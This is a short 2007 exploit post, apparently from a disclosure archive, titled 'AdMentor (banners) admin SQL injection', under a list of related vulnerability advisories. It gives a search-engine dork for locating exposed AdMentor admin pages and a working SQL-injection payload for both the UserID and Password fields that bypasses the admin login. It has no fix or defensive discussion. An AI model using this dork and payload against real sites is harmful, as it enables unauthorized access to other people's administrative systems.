Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

Open Conference Systems = 2.8.2 Remote File Inclusion

local Calendar System v1.1 (lcStdLib. inc) Remote File Include

Full Disclosure:  Arbitrary Code Execution in LedgerSMB CVE-2006-5872

FdScript <= v1.3.2 Remote File Disclosure Vulnerability

From:	sn0oPy.team_(at)_gmail.com <sn0oPy.team_(at)_gmail.com>
Date:	28.01.2007
Subject:	AdMentor (banners) admin SQL injection

* AdMentor (banners) admin SQL injection

* By : sn0oPy

* Risk : high

* Site : http://www.aspcode.net/products/admentor

* Dork : inurl:"admentor/admin"

* exploit :

        UserID = 'or' '='
           
        Password = 'or' '='
                

* contact : sn0oPy.team@gmail.com

* greetz : [subzero], Avg Team(http://forums.avenir-geopolitique.net).

references : http://forums.avenir-geopolitique.net/viewtopic.php?t=2606